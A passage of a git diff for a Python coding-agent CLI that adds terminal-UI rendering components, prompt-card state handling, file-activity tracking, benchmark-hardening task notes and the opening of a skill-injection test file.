(self._thinking_prompt_prefix_style(), f"{PROMPT_SYMBOL_AGENT_INPUT} ") + ) + return fragments + if is_card_style(): ensure_prompt_newline(fragments) tc = get_toolbar_colors() @@ -3830,6 +3996,34 @@ async def wait_for_input_activity(self) -> None: await self._input_activity_event.wait() self._input_activity_event.clear() + def mark_turn_starting(self) -> None: + """Collapse the input card immediately, before the delegate attaches. + + The shell calls this the moment it dispatches an agent turn β€” right + before it resumes the prompt read β€” so the first repaint after the turn + starts never paints the input-card chrome (which would fossilize above + the stream). Superseded by the delegate once :meth:`attach_running_prompt` + runs; cleared there and on detach. + """ + # Idempotent: a repeat call (e.g. two dispatches before an attach) must + # not cost an extra repaint. + if not self._turn_starting: + self._turn_starting = True + self._set_running_fullscreen(True) + self.invalidate() + + def clear_turn_starting(self) -> None: + """Drop the pre-attach turn-starting hint without an attach/detach. + + Public counterpart to :meth:`mark_turn_starting`, for callers (the shell's + ``run_soul_command`` ``finally``) that need to clear the hint on an error + path that occurred before the running-prompt delegate ever attached β€” + without reaching into the private ``_turn_starting`` attribute. + """ + self._turn_starting = False + self._set_running_fullscreen(False) + self.invalidate() + def attach_running_prompt(self, delegate: RunningPromptDelegate) -> None: current = getattr(self, "_running_prompt_delegate", None) if current is delegate: @@ -3837,8 +4031,11 @@ def attach_running_prompt(self, delegate: RunningPromptDelegate) -> None: if current is None: self._running_prompt_previous_mode = self._mode self._running_prompt_delegate = delegate + # The delegate is the source of truth now; drop the pre-attach hint. + self._turn_starting = False self._mode = PromptMode.AGENT self._apply_mode() + self._set_running_fullscreen(True) self.invalidate() def detach_running_prompt(self, delegate: RunningPromptDelegate) -> None: @@ -3847,9 +4044,11 @@ def detach_running_prompt(self, delegate: RunningPromptDelegate) -> None: previous_mode = getattr(self, "_running_prompt_previous_mode", None) self._running_prompt_delegate = None self._running_prompt_previous_mode = None + self._turn_starting = False if previous_mode is not None: self._mode = previous_mode self._apply_mode() + self._set_running_fullscreen(False) self.invalidate() def attach_modal(self, delegate: RunningPromptDelegate) -> None: diff --git a/src/pythinker_code/ui/shell/tui/__init__.py b/src/pythinker_code/ui/shell/tui/__init__.py new file mode 100644 index 00000000..a9933b36 --- /dev/null +++ b/src/pythinker_code/ui/shell/tui/__init__.py @@ -0,0 +1,17 @@ +from pythinker_code.ui.shell.tui.components import Box, Component, Container, Spacer, Text +from pythinker_code.ui.shell.tui.diff import LinePatch, plan_line_diff, synchronized_output +from pythinker_code.ui.shell.tui.scene import RunningPromptScene +from pythinker_code.ui.shell.tui.scheduler import RenderScheduler + +__all__ = [ + "Box", + "Component", + "Container", + "LinePatch", + "RenderScheduler", + "RunningPromptScene", + "Spacer", + "Text", + "plan_line_diff", + "synchronized_output", +] diff --git a/src/pythinker_code/ui/shell/tui/components.py b/src/pythinker_code/ui/shell/tui/components.py new file mode 100644 index 00000000..b55aeda3 --- /dev/null +++ b/src/pythinker_code/ui/shell/tui/components.py @@ -0,0 +1,94 @@ +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass, field +from typing import Protocol + +from pythinker_code.ui.shell.tui.width import pad_line, wrap_plain_text + + +class Component(Protocol): + def render(self, width: int) -> list[str]: + raise NotImplementedError + + def invalidate(self) -> None: + raise NotImplementedError + + +def _empty_children() -> list[Component]: + return [] + + +@dataclass +class Text: + value: str + padding_x: int = 0 + padding_y: int = 0 + + def invalidate(self) -> None: + return None + + def render(self, width: int) -> list[str]: + content_width = max(1, width - self.padding_x * 2) + margin = " " * self.padding_x + lines = [ + pad_line(f"{margin}{line}{margin}", width) + for line in wrap_plain_text(self.value, content_width) + ] + blank = " " * width + return [blank] * self.padding_y + lines + [blank] * self.padding_y + + +@dataclass +class Spacer: + height: int = 1 + + def invalidate(self) -> None: + return None + + def render(self, width: int) -> list[str]: + return [" " * width for _ in range(max(0, self.height))] + + +@dataclass +class Container: + children: list[Component] = field(default_factory=_empty_children) + + def add(self, child: Component) -> None: + self.children.append(child) + + def clear(self) -> None: + self.children.clear() + + def invalidate(self) -> None: + for child in self.children: + child.invalidate() + + def render(self, width: int) -> list[str]: + lines: list[str] = [] + for child in self.children: + lines.extend(child.render(width)) + return lines + + +@dataclass +class Box: + child: Component + padding_x: int = 0 + padding_y: int = 0 + style: Callable[[str], str] | None = None + + def invalidate(self) -> None: + self.child.invalidate() + + def render(self, width: int) -> list[str]: + inner_width = max(1, width - self.padding_x * 2) + blank = " " * width + lines = [blank] * self.padding_y + margin = " " * self.padding_x + for line in self.child.render(inner_width): + lines.append(pad_line(f"{margin}{line}{margin}", width)) + lines.extend([blank] * self.padding_y) + if self.style is not None: + return [self.style(line) for line in lines] + return lines diff --git a/src/pythinker_code/ui/shell/tui/diff.py b/src/pythinker_code/ui/shell/tui/diff.py new file mode 100644 index 00000000..d0ca1690 --- /dev/null +++ b/src/pythinker_code/ui/shell/tui/diff.py @@ -0,0 +1,37 @@ +from __future__ import annotations + +from collections.abc import Sequence +from dataclasses import dataclass +from difflib import SequenceMatcher + +SYNC_OUTPUT_START = "\x1b[?2026h" +SYNC_OUTPUT_END = "\x1b[?2026l" + + +@dataclass(frozen=True) +class LinePatch: + start: int + delete: int + insert: tuple[str, ...] + + +def plan_line_diff(old: Sequence[str], new: Sequence[str]) -> list[LinePatch]: + patches: list[LinePatch] = [] + matcher = SequenceMatcher(a=list(old), b=list(new), autojunk=False) + for tag, old_start, old_end, new_start, new_end in matcher.get_opcodes(): + if tag == "equal": + continue + patches.append( + LinePatch( + start=old_start, + delete=old_end - old_start, + insert=tuple(new[new_start:new_end]), + ) + ) + return patches + + +def synchronized_output(payload: str) -> str: + if not payload: + return payload + return f"{SYNC_OUTPUT_START}{payload}{SYNC_OUTPUT_END}" diff --git a/src/pythinker_code/ui/shell/tui/scene.py b/src/pythinker_code/ui/shell/tui/scene.py new file mode 100644 index 00000000..aece2d08 --- /dev/null +++ b/src/pythinker_code/ui/shell/tui/scene.py @@ -0,0 +1,20 @@ +from __future__ import annotations + +from dataclasses import dataclass + +from pythinker_code.ui.shell.tui.width import pad_line + + +@dataclass(frozen=True) +class RunningPromptScene: + body: str + top_border: str + prompt_symbol: str + placeholder: str = "" + + def render(self, width: int) -> list[str]: + lines = [pad_line(line, width) for line in self.body.splitlines()] + lines.append(pad_line(self.top_border, width)) + prompt_line = f" {self.prompt_symbol} {self.placeholder}".rstrip() + lines.append(pad_line(prompt_line, width)) + return lines diff --git a/src/pythinker_code/ui/shell/tui/scheduler.py b/src/pythinker_code/ui/shell/tui/scheduler.py new file mode 100644 index 00000000..b7736fa1 --- /dev/null +++ b/src/pythinker_code/ui/shell/tui/scheduler.py @@ -0,0 +1,23 @@ +from __future__ import annotations + +import time +from collections.abc import Callable +from dataclasses import dataclass + + +@dataclass +class RenderScheduler: + request_invalidate: Callable[[], None] + min_interval_seconds: float = 1 / 30 + _last_render_request: float | None = None + + def request_render(self, now: float | None = None) -> bool: + current = time.monotonic() if now is None else now + if ( + self._last_render_request is not None + and current - self._last_render_request < self.min_interval_seconds + ): + return False + self._last_render_request = current + self.request_invalidate() + return True diff --git a/src/pythinker_code/ui/shell/tui/width.py b/src/pythinker_code/ui/shell/tui/width.py new file mode 100644 index 00000000..ac32ec42 --- /dev/null +++ b/src/pythinker_code/ui/shell/tui/width.py @@ -0,0 +1,16 @@ +from __future__ import annotations + +import textwrap + + +def pad_line(value: str, width: int) -> str: + return value[:width].ljust(width) + + +def wrap_plain_text(value: str, width: int) -> list[str]: + if not value: + return [""] + wrapped: list[str] = [] + for raw_line in value.splitlines() or [value]: + wrapped.extend(textwrap.wrap(raw_line, width=width, replace_whitespace=False) or [""]) + return wrapped diff --git a/src/pythinker_code/ui/shell/visualize/__init__.py b/src/pythinker_code/ui/shell/visualize/__init__.py index c91bae08..c8d875dd 100644 --- a/src/pythinker_code/ui/shell/visualize/__init__.py +++ b/src/pythinker_code/ui/shell/visualize/__init__.py @@ -21,6 +21,7 @@ # --- Re-exports (keep all existing import paths working) ------------------- # Console (re-exported for test monkeypatching compatibility) from pythinker_code.ui.shell.console import console as console # noqa: F401 +from pythinker_code.ui.shell.focus_surface import FocusTuiSurface from pythinker_code.ui.shell.keyboard import KeyEvent as KeyEvent # noqa: F401 from pythinker_code.ui.shell.prompt import CustomPromptSession, UserInput @@ -143,6 +144,7 @@ async def visualize( on_view_closed: Callable[[], None] | None = None, show_thinking_stream: bool = False, show_turn_recaps: bool = False, + focus_mode: bool = False, ) -> None: """A loop to consume agent events and visualize the agent behavior. @@ -150,6 +152,7 @@ async def visualize( ``_PromptLiveView`` (prompt_toolkit, interactive) depending on whether a prompt session is provided. """ + focus_surface: FocusTuiSurface | None = None if prompt_session is not None and steer is not None: view = _PromptLiveView( initial_status, @@ -162,6 +165,9 @@ async def visualize( show_turn_recaps=show_turn_recaps, ) prompt_session.attach_running_prompt(view) + if focus_mode: + focus_surface = FocusTuiSurface(view.enable_focus_model(), delegate=view) + prompt_session.attach_modal(focus_surface) def _cancel_running_input() -> None: if cancel_event is not None: @@ -185,6 +191,8 @@ def _cancel_running_input() -> None: if unbind_running_input is not None: unbind_running_input() if isinstance(view, _PromptLiveView): + if focus_surface is not None: + prompt_session.detach_modal(focus_surface) prompt_session.detach_running_prompt(view) if on_view_closed is not None: on_view_closed() diff --git a/src/pythinker_code/ui/shell/visualize/_blocks.py b/src/pythinker_code/ui/shell/visualize/_blocks.py index 635eb514..2f487125 100644 --- a/src/pythinker_code/ui/shell/visualize/_blocks.py +++ b/src/pythinker_code/ui/shell/visualize/_blocks.py @@ -13,7 +13,7 @@ import time from collections import Counter, deque from enum import Enum -from typing import Any, NamedTuple, cast +from typing import Any, Literal, NamedTuple, cast import streamingjson # type: ignore[reportMissingTypeStubs] from rich.console import Console, ConsoleOptions, Group, RenderableType, RenderResult @@ -30,7 +30,11 @@ from pythinker_code.ui.shell.components.markdown import ( markdown_commit_boundary, ) -from pythinker_code.ui.shell.components.render_utils import render_message_response, sanitize_ansi +from pythinker_code.ui.shell.components.render_utils import ( + render_message_response, + sanitize_ansi, + truncate_to_width, +) from pythinker_code.ui.shell.components.report import render_agent_body from pythinker_code.ui.shell.components.report_update import ( ReportUpdateComponent, @@ -119,6 +123,7 @@ def smooth_streaming_enabled() -> bool: _MAX_SUB_OUTPUT_CHARS = 200 _MAX_SUBAGENT_ROLLUP_TOOLS = 6 _MAX_SUBAGENT_CHANGED_FILES = 5 +_MAX_FILE_ACTIVITY_ROWS = 5 # Background-agent statuses that mean "still running" β€” the tool call result # has arrived but the spawned agent has not yet finished. Blocks with this @@ -166,6 +171,70 @@ def _is_active_background_agent(tool_name: str, result_text: str) -> bool: return False +FileActivityStatus = Literal["writing", "created", "updated", "failed"] + + +class FileActivityShelf: + """Compact in-place ledger for files touched during the active turn.""" + + _LABELS: dict[FileActivityStatus, tuple[str, str]] = { + "writing": ("…", "writing"), + "created": ("βœ“", "created"), + "updated": ("βœ“", "updated"), + "failed": ("Γ—", "failed"), + } + + def __init__(self, *, max_rows: int = _MAX_FILE_ACTIVITY_ROWS) -> None: + self._max_rows = max_rows + self._order: list[str] = [] + self._statuses: dict[str, FileActivityStatus] = {} + + def clear(self) -> None: + self._order.clear() + self._statuses.clear() + + def mark(self, path: str | None, status: FileActivityStatus) -> None: + if not path: + return + clean = sanitize_ansi(path).strip() + if not clean: + return + if clean not in self._statuses: + self._order.append(clean) + self._statuses[clean] = status + + def mark_many(self, paths: list[str], status: FileActivityStatus) -> None: + for path in paths: + self.mark(path, status) + + @property + def visible(self) -> bool: + return bool(self._order) + + def render(self, width: int) -> RenderableType | None: + if not self._order: + return None + width = max(24, width) + rows: list[Text] = [Text("Files", style=tui_rich_style("muted") + Style(bold=True))] + visible = self._order[-self._max_rows :] + hidden = max(0, len(self._order) - len(visible)) + label_width = 8 + path_width = max(8, width - 6 - label_width) + for path in visible: + status = self._statuses[path] + icon, label = self._LABELS[status] + style_name = ( + "error" if status == "failed" else "success" if status != "writing" else "muted" + ) + line = Text(f" {icon} ", style=tui_rich_style(style_name)) + line.append(label.ljust(label_width), style=tui_rich_style("muted")) + line.append(truncate_to_width(path, path_width), style=tui_rich_style("text")) + rows.append(line) + if hidden: + rows.append(Text(f" +{hidden} more", style=tui_rich_style("muted"))) + return Group(*rows) + + _PREVIEW_FIELD_LINE_RE = re.compile(r"^(\s*)-\s+([^:]+):\s*(.*)$") # An open ```report fence streams its findings JSON token-by-token. markdown @@ -1193,6 +1262,16 @@ def is_background_pending(self) -> bool: def has_expandable_card(self) -> bool: return self._tui_card is not None and self._tui_card.can_expand + def active_subagent_label(self) -> str | None: + if not self._ongoing_subagent_tool_calls: + return None + call = next(reversed(self._ongoing_subagent_tool_calls.values())) + detail = tool_style(call.function.name).label + argument = extract_key_argument(call.function.arguments or "", call.function.name) + if argument: + detail = f"{detail} {argument}" + return sanitize_ansi(f"agent {detail}") + def toggle_expanded(self) -> None: if self._tui_card is None: return diff --git a/src/pythinker_code/ui/shell/visualize/_interactive.py b/src/pythinker_code/ui/shell/visualize/_interactive.py index bb1e24ac..bd52d7ab 100644 --- a/src/pythinker_code/ui/shell/visualize/_interactive.py +++ b/src/pythinker_code/ui/shell/visualize/_interactive.py @@ -63,6 +63,7 @@ SteerInput, StepInterrupted, Suggestion, + TurnBegin, TurnEnd, WireMessage, ) @@ -159,10 +160,17 @@ def __init__( self._btw_run_task: asyncio.Task[None] | None = None self._status_refresh_task: asyncio.Task[None] | None = None self._pending_scrollback: list[tuple[RenderableType, bool]] = [] + self._pending_scrollback_anchors: list[bool] = [] self._scrollback_handoff_depth: int = 0 self._scrollback_flush_lock = asyncio.Lock() self._last_terminal_size: tuple[int, int] | None = None self._resize_recovery_remaining: int = 0 + # True once this turn has committed anything to scrollback via a + # run_in_terminal handoff. Editable input content is hidden until then + # (see running_prompt_hide_input_card), while the empty card chrome stays + # visible so the prompt bar does not disappear while the agent is loading. + self._committed_scrollback_this_turn: bool = False + self._awaiting_input_card_restore_anchor: bool = False # -- Helpers ------------------------------------------------------------- @@ -437,6 +445,12 @@ async def _flush_pending_scrollback(self, *, force: bool = False) -> None: ) return batch = self._pending_scrollback[:] + anchor_batch = self._pending_scrollback_anchors[: len(batch)] + if self.focus_model is not None and self._active_turn_depth > 0: + del self._pending_scrollback[: len(batch)] + del self._pending_scrollback_anchors[: len(batch)] + self._safe_prompt_invalidate() + return def emit() -> None: for renderable, blank_row in batch: @@ -454,24 +468,44 @@ def emit() -> None: return del self._pending_scrollback[: len(batch)] + del self._pending_scrollback_anchors[: len(batch)] + first_commit = not self._committed_scrollback_this_turn + if any(anchor_batch): + self._committed_scrollback_this_turn = True + if first_commit: + self._awaiting_input_card_restore_anchor = True + elif self._awaiting_input_card_restore_anchor: + self._awaiting_input_card_restore_anchor = False + elif self._awaiting_input_card_restore_anchor: + self._awaiting_input_card_restore_anchor = False self._safe_prompt_invalidate() + def _append_pending_scrollback( + self, renderable: RenderableType, *, blank_row: bool, anchored: bool + ) -> None: + if not hasattr(self, "_pending_scrollback"): + self._pending_scrollback = [] + if not hasattr(self, "_pending_scrollback_anchors"): + self._pending_scrollback_anchors = [] + self._pending_scrollback.append((renderable, blank_row)) + self._pending_scrollback_anchors.append(anchored) + def _emit_final_scrollback(self, renderable: RenderableType) -> None: - self._pending_scrollback.append((renderable, True)) + self._append_pending_scrollback(renderable, blank_row=True, anchored=False) def _emit_action_block(self, renderable: RenderableType) -> None: - self._pending_scrollback.append((renderable, True)) + self._append_pending_scrollback(renderable, blank_row=True, anchored=True) def _emit_steer_echo(self, renderable: RenderableType) -> None: - self._pending_scrollback.append((renderable, False)) + self._append_pending_scrollback(renderable, blank_row=False, anchored=False) def _print_turn_recap(self) -> None: block = self._build_turn_recap_block() if block is None: return - self._pending_scrollback.append((Text(""), False)) - self._pending_scrollback.append((block, False)) - self._pending_scrollback.append((Text(""), False)) + self._append_pending_scrollback(Text(""), blank_row=False, anchored=False) + self._append_pending_scrollback(block, blank_row=False, anchored=False) + self._append_pending_scrollback(Text(""), blank_row=False, anchored=False) async def _drain_content_for_transition(self, reason: FlushReason) -> None: _handoff_trace(f"TRANSITION\t{reason.name}") @@ -786,6 +820,11 @@ def dispatch_wire_message(self, msg: WireMessage) -> None: # prompt, where they can look like part of the previous assistant # answer. return + # A fresh turn starts hidden-carded until its first commit β€” reset the + # flag on the 0->1 transition (super() increments the depth below). + if isinstance(msg, TurnBegin) and self._active_turn_depth == 0: + self._committed_scrollback_this_turn = False + self._awaiting_input_card_restore_anchor = False super().dispatch_wire_message(msg) def display_suggestion(self, event: Suggestion) -> None: @@ -868,7 +907,12 @@ def render_pinned_status_tail(self, columns: int) -> ANSI: return ANSI(body if body else "") content_block = getattr(self, "_current_content_block", None) - if content_block is not None and not content_block.is_think: + if self._active_subagent_activity_label() is not None: + body = render_to_ansi( + self._working_indicator(hide_tips=self._hide_working_tips), + columns=columns, + ).rstrip("\n") + elif content_block is not None and not content_block.is_think: body = render_to_ansi(content_block._compose_spinner(), columns=columns).rstrip("\n") else: body = render_to_ansi( @@ -908,6 +952,38 @@ def running_prompt_placeholder(self) -> str | None: def running_prompt_hides_input_buffer(self) -> bool: return False + def running_prompt_hide_input_card(self) -> bool: + """True while the input card must stay hidden to avoid fossilizing it. + + The card is hidden from turn-start until this turn's first scrollback + commit. That first commit's ``run_in_terminal`` teardown fossilizes + whatever chrome sits in the pre-handoff frame (the erase-height drifts on + the first transition into streaming); keeping the card out of that frame + is the only reliable prevention β€” suppressing it merely *during* the + handoff is too late, because the erase runs before the repaint. Once the + turn has committed, the layout is established and the card repaints for + the rest of the turn so the user can see where to steer. + + No ``_active_turn_depth`` guard: the flag must hide the card from the + moment the delegate attaches β€” which can precede the ``TurnBegin`` that + raises the depth β€” through the first commit. ``_committed_scrollback_this_turn`` + is explicitly reset to False on each ``TurnBegin`` (see + ``dispatch_wire_message``), not merely assumed from construction β€” this + method must stay correct even if a future change reuses one delegate + instance across turns instead of building a fresh one per turn.""" + if getattr(self, "_scrollback_handoff_depth", 0) > 0: + return True + if self._turn_ended: + return False + return not self._committed_scrollback_this_turn or getattr( + self, "_awaiting_input_card_restore_anchor", False + ) + + def running_prompt_hide_input_card_chrome(self) -> bool: + return getattr(self, "_scrollback_handoff_depth", 0) > 0 or bool( + getattr(self, "_pending_scrollback", None) + ) + def running_prompt_allows_text_input(self) -> bool: if self._current_approval_request_panel is not None: return False diff --git a/src/pythinker_code/ui/shell/visualize/_live_view.py b/src/pythinker_code/ui/shell/visualize/_live_view.py index 9a11f817..c21a47f3 100644 --- a/src/pythinker_code/ui/shell/visualize/_live_view.py +++ b/src/pythinker_code/ui/shell/visualize/_live_view.py @@ -9,11 +9,12 @@ from __future__ import annotations import asyncio +import json import time from collections import Counter, deque from collections.abc import Awaitable, Callable from contextlib import asynccontextmanager, suppress -from typing import Literal +from typing import Literal, cast from pythinker_core.message import Message from pythinker_core.tooling import ToolError, ToolOk, ToolReturnValue @@ -40,6 +41,7 @@ ) from pythinker_code.ui.shell.console import console, current_console_width from pythinker_code.ui.shell.echo import render_user_echo +from pythinker_code.ui.shell.focus_model import FocusTuiModel from pythinker_code.ui.shell.glyphs import TRANSCRIPT_ACTIVE_MARKER, TRANSCRIPT_TOOL_GUTTER from pythinker_code.ui.shell.keyboard import KeyboardListener, KeyEvent from pythinker_code.ui.shell.mcp_status import render_mcp_startup_text @@ -61,8 +63,10 @@ show_approval_in_pager, ) from pythinker_code.ui.shell.visualize._blocks import ( + _MUTATING_TOOL_NAMES, _TOKEN_RATE_MIN_SAMPLES, _TOKEN_RATE_WINDOW_S, + FileActivityShelf, FlushReason, Markdown, _CompactionBlock, @@ -242,6 +246,9 @@ def __init__( self._recap_tool_counts: Counter[str] = Counter() self._recap_files_modified: set[str] = set() self._pending_turn_recap = False + self._file_activity_shelf = FileActivityShelf() + self._tool_file_paths: dict[str, str] = {} + self.focus_model: FocusTuiModel | None = None self._current_content_block: _ContentBlock | None = None self._tool_call_blocks: dict[str, _ToolCallBlock] = {} @@ -866,6 +873,71 @@ def _track_recap_modified_files(self, result: ToolResult) -> None: if isinstance(block, DiffDisplayBlock) and block.path: self._recap_files_modified.add(block.path) + @staticmethod + def _tool_call_path(tool_call: ToolCall) -> str | None: + name = tool_call.function.name.lower() + if name not in _MUTATING_TOOL_NAMES: + return None + try: + args = json.loads(tool_call.function.arguments or "{}", strict=False) + except json.JSONDecodeError: + return None + if not isinstance(args, dict): + return None + data = cast(dict[str, object], args) + path = data.get("path") or data.get("file_path") + return str(path) if path else None + + @staticmethod + def _tool_result_paths(result: ToolResult) -> list[str]: + return [ + block.path + for block in getattr(result.return_value, "display", []) or [] + if isinstance(block, DiffDisplayBlock) and block.path + ] + + def enable_focus_model(self) -> FocusTuiModel: + self.focus_model = FocusTuiModel() + return self.focus_model + + def _update_focus_model_for_tool_call(self, tool_call: ToolCall) -> None: + if self.focus_model is None: + return + title = f"{tool_call.function.name}" + path = self._tool_call_path(tool_call) + if path: + self.focus_model.mark_file(path, "writing") + self.focus_model.append_tool_row(tool_call.id, title, expandable=True) + + def _update_focus_model_for_tool_result(self, result: ToolResult) -> None: + if self.focus_model is None: + return + paths = self._tool_result_paths(result) + if not paths: + stored_path = self._tool_file_paths.get(result.tool_call_id) + paths = [stored_path] if stored_path else [] + status = "failed" if result.return_value.is_error else "updated" + for path in paths: + self.focus_model.mark_file(path, status) + self.focus_model.update_tool_row(result.tool_call_id, done=True) + + def _mark_file_activity_started(self, tool_call: ToolCall) -> None: + path = self._tool_call_path(tool_call) + if path is None: + return + self._tool_file_paths[tool_call.id] = path + self._file_activity_shelf.mark(path, "writing") + + def _mark_file_activity_finished(self, result: ToolResult) -> None: + paths = self._tool_result_paths(result) + if not paths: + stored_path = self._tool_file_paths.get(result.tool_call_id) + paths = [stored_path] if stored_path else [] + if not paths: + return + status = "failed" if result.return_value.is_error else "updated" + self._file_activity_shelf.mark_many(paths, status) + def _build_turn_recap_block(self) -> RenderableType | None: if not self._show_turn_recaps: return None @@ -900,10 +972,11 @@ def _working_indicator(self, *, hide_tips: bool = False) -> RenderableType: now = time.monotonic() elapsed = 0.0 if self._turn_start_time is None else now - self._turn_start_time width = current_console_width() + active_subagent_label = self._active_subagent_activity_label() active_todo_title = ( self._active_todo_title() if getattr(self, "_pinned_todos_visible", True) else None ) - label = active_todo_title or spinner_message(now) + label = active_todo_title or active_subagent_label or spinner_message(now) todo_block = self._pinned_todo_block( width=width, elapsed_s=elapsed, @@ -922,13 +995,15 @@ def _working_indicator(self, *, hide_tips: bool = False) -> RenderableType: line = activity_status_line( ActivitySnapshot( - label=spinner_message(now), + label=label, elapsed_s=elapsed, tokens=get_turn_output_tokens(), token_rate=self._turn_token_rate(now), ), width=width, ) + if active_subagent_label is not None: + return line # During longer waits, surface a rotating CLI-feature tip under the verb. if hide_tips or elapsed < _WORKING_TIP_MIN_ELAPSED_S: return line @@ -936,6 +1011,12 @@ def _working_indicator(self, *, hide_tips: bool = False) -> RenderableType: tip_content.append(current_tip(now), style=tui_rich_style("dim")) return Group(line, render_message_response(tip_content)) + def _active_subagent_activity_label(self) -> str | None: + for block in reversed(list(getattr(self, "_tool_call_blocks", {}).values())): + if label := block.active_subagent_label(): + return label + return None + def _turn_token_rate(self, now: float) -> int | None: """Stable recent tokens/sec for the running turn, or None until known. @@ -1170,6 +1251,8 @@ def dispatch_wire_message(self, msg: WireMessage) -> None: self._recap_text_parts.clear() self._recap_tool_counts.clear() self._recap_files_modified.clear() + self._file_activity_shelf.clear() + self._tool_file_paths.clear() self._pending_turn_recap = False self._active_turn_depth += 1 self.flush_content(FlushReason.TURN_END) @@ -1442,7 +1525,8 @@ def cleanup(self, is_interrupt: bool) -> None: for tool_call_id in list(self._tool_call_blocks.keys()): block = self._tool_call_blocks.pop(tool_call_id) self._archive_completed_tool_card(block) - self._emit_action_block(block.compose()) + if self.focus_model is None: + self._emit_action_block(block.compose()) self.refresh_soon() self.flush_notifications() if not is_interrupt and self._active_turn_depth == 0 and self._pending_turn_recap: @@ -1524,7 +1608,8 @@ def _flush_held_tool_search(self) -> None: if self._held_tool_search_block is not None: block = self._held_tool_search_block self._held_tool_search_block = None - self._emit_action_block(block.compose()) + if self.focus_model is None: + self._emit_action_block(block.compose()) self.refresh_soon() def flush_finished_tool_calls(self) -> None: @@ -1557,7 +1642,8 @@ def flush_finished_tool_calls(self) -> None: self._held_tool_search_block = block else: self._flush_held_tool_search() - self._emit_action_block(block.compose()) + if self.focus_model is None: + self._emit_action_block(block.compose()) self.refresh_soon() def flush_notifications(self) -> None: @@ -1605,6 +1691,8 @@ def append_content(self, part: ContentPart) -> None: def append_tool_call(self, tool_call: ToolCall) -> None: self._current_step_retry = None self.flush_content(FlushReason.TOOL_START) + self._mark_file_activity_started(tool_call) + self._update_focus_model_for_tool_call(tool_call) self._tool_call_blocks[tool_call.id] = _ToolCallBlock(tool_call) self._last_tool_call_block = self._tool_call_blocks[tool_call.id] self.refresh_soon() @@ -1628,6 +1716,8 @@ def append_tool_output_part(self, part: ToolOutputPart) -> None: self.refresh_soon() def append_tool_result(self, result: ToolResult) -> None: + self._mark_file_activity_finished(result) + self._update_focus_model_for_tool_result(result) if block := self._tool_call_blocks.get(result.tool_call_id): self._record_todo_display(result.return_value) if block.is_todo_list and not result.return_value.is_error: diff --git a/src/pythinker_code/utils/pyinstaller.py b/src/pythinker_code/utils/pyinstaller.py index 29a80705..d683f1ce 100644 --- a/src/pythinker_code/utils/pyinstaller.py +++ b/src/pythinker_code/utils/pyinstaller.py @@ -50,6 +50,7 @@ def require_ui_assets(package_root: Path | None = None) -> None: includes=[ "agents/**/*.yaml", "agents/**/*.md", + "benchmark/bundled/**/*.json", "deps/bin/**", "prompts/**/*.md", "skills/**", diff --git a/src/pythinker_code/utils/slashcmd.py b/src/pythinker_code/utils/slashcmd.py index 54b4a613..71dab2ff 100644 --- a/src/pythinker_code/utils/slashcmd.py +++ b/src/pythinker_code/utils/slashcmd.py @@ -1,3 +1,4 @@ +import inspect import re from collections.abc import Awaitable, Callable, Sequence from dataclasses import dataclass @@ -70,7 +71,7 @@ def _register(f: F) -> F: # Create the primary command with aliases cmd = SlashCommand[F]( name=primary, - description=(f.__doc__ or "").strip(), + description=inspect.cleandoc(f.__doc__ or "").strip(), func=f, aliases=alias_list, available_during_task=available_during_task, diff --git a/tasks/lessons.md b/tasks/lessons.md index a1281e50..60ce6c39 100644 --- a/tasks/lessons.md +++ b/tasks/lessons.md @@ -83,6 +83,13 @@ Format: trigger β†’ rule. NOT `.claude/` config. Transcripts showing `~/.pythinker/sessions/` paths are pythinker runs; behavioral fixes belong in the product. +## TUI prompt chrome + +- **When hiding the first-load editable input row to prevent ghost prompts**, + keep the empty card visible: `_turn_starting` and the live-view first-commit + gate may suppress editable content, but the top border and `❯` row should + remain visible so the prompt bar does not disappear while the agent loads. + ## Spec/profile consistency - **When adding or tightening a permission gate** (network, MCP, shell, diff --git a/tasks/todo.md b/tasks/todo.md index 87f3503a..e9bbbec7 100644 --- a/tasks/todo.md +++ b/tasks/todo.md @@ -2,6 +2,36 @@ ## Active +### Plan: publishable benchmark comparison (2026-07-05) + +- [ ] Execute `docs/superpowers/plans/2026-07-05-publishable-benchmark-comparison.md` + with `/tdd` discipline. Scope: multi-model comparison, coding activity + metrics, publishability warnings, exportable reports, and safe online + source discovery for provisional benchmark manifests. Guardrail: online + content stays untrusted and must not execute verifier commands without + explicit `--trusted-dataset true`. + +### Review: benchmark hardening (2026-07-05) + +- [x] Enforce per-task benchmark `max_steps` by temporarily applying it to the + underlying soul loop control and restoring the previous limit after the + run. +- [x] Require explicit `--trusted-dataset true` for `/benchmark:swe`, because + SWE-style local fixture datasets contain verification shell commands. +- [x] Label SWE-style tasks as local fixtures, not full SWE-bench Docker + evaluation. +- [x] Strengthen bundled `pythinker-core` tasks with reviewed edge cases for + atomic rollback, generator de-duplication, falsey explicit metadata, and + absolute/sibling/symlink path escapes. +- [x] Document the benchmark integration architecture across the public + reference docs, repository map, changelog, and slash-command docs. +- Verification: red tests confirmed the benchmark gaps first. Final focused + gates passed locally: benchmark pytest group, pyinstaller manifest tests, + benchmark task/suite metadata load, ruff format/check, pyright, ty, docs + build, and targeted `git diff --check`. Full `make check-pythinker-code` + is blocked by unrelated dirty formatting in + `src/pythinker_code/ui/shell/prompt.py`. + - [ ] Agent-harness adoption arc (`feat/agent-harness-enhancements`): executing `tasks/agent-harness-adoption-plan.md` (124 verified items, tiers 1-4). DONE: all 5 Tier-1 high/S + first high/M β€” `047a0b29` orchestration diff --git a/tests/core/test_active_skill_injection.py b/tests/core/test_active_skill_injection.py new file mode 100644 index 00000000..de2b8f67 --- /dev/null +++ b/tests/core/test_active_skill_injection.py @@ -0,0 +1,127 @@ +"""Tests for active skill reminder injection.""" + +from __future__ import annotations + +from types import SimpleNamespace +from typing import Any, cast +from unittest.mock import MagicMock + +import pytest +from pythinker_core.message import Message, TextPart + +from pythinker_code.soul.dynamic_injections.active_skills import ( + _ACTIVE_SKILLS_INJECTION_TYPE, + ActiveSkillInjectionProvider, + active_skill_reminder, +) + + +def _user(text: str) -> Message: + return Message(role="user", content=[TextPart(text=text)]) + + +def _reminder(text: str) -> Message: + return Message( + role="user", content=[TextPart(text=f"\n{text}\n")] + ) + + +def _soul(active_skills: list[str]) -> MagicMock: + session = SimpleNamespace( + state=SimpleNamespace(active_skills=active_skills), save_state=lambda: None + ) + runtime = SimpleNamespace(session=session) + soul = MagicMock() + soul.runtime = runtime + return soul + + +def _soul_with_save_error(active_skills: list[str]) -> MagicMock: + def save_state() -> None: + raise OSError("read-only session") + + session = SimpleNamespace( + state=SimpleNamespace(active_skills=active_skills), save_state=save_state + ) + runtime 